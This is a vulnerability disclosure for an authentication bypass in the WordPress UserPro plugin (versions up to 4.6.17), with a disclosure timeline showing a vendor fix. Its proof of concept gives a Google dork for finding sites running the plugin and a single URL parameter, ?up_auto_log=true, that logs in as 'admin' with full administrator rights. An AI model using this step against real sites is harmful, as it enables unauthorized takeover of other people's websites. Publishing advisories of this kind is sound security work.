WordPress UserPro 4.6.17 Authentication Bypass
Posted on 07 November 2017
# Exploit Title: Userpro a WordPress Plugin a Authentication Bypass # Google Dork: inurl:/plugins/userpro # Date: 11.04.2017 # Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University) # Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9 # Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9 # Version: <= 4.6.17 # Tested on: Wordpress 4.8.3 # CVE : requested, not assigned yet. Description ================================================================================ The userpro plugin has the ability to bypass login authentication for the user 'admin'. If the site does not use the standard username 'admin' it is not affected. PoC ================================================================================ 1 - Google Dork inurl:/plugins/userpro 2 - Browse to a site that has the userpro plugin installed. 3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true 4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in will full administrator access. ================================================================================ 10/25/2017 a Wordfence notified of issue by Iain Hadgraft. 10/26/2017 a Vendor resolved the issue in the plugin. 11/04/2017 - Disclosure.
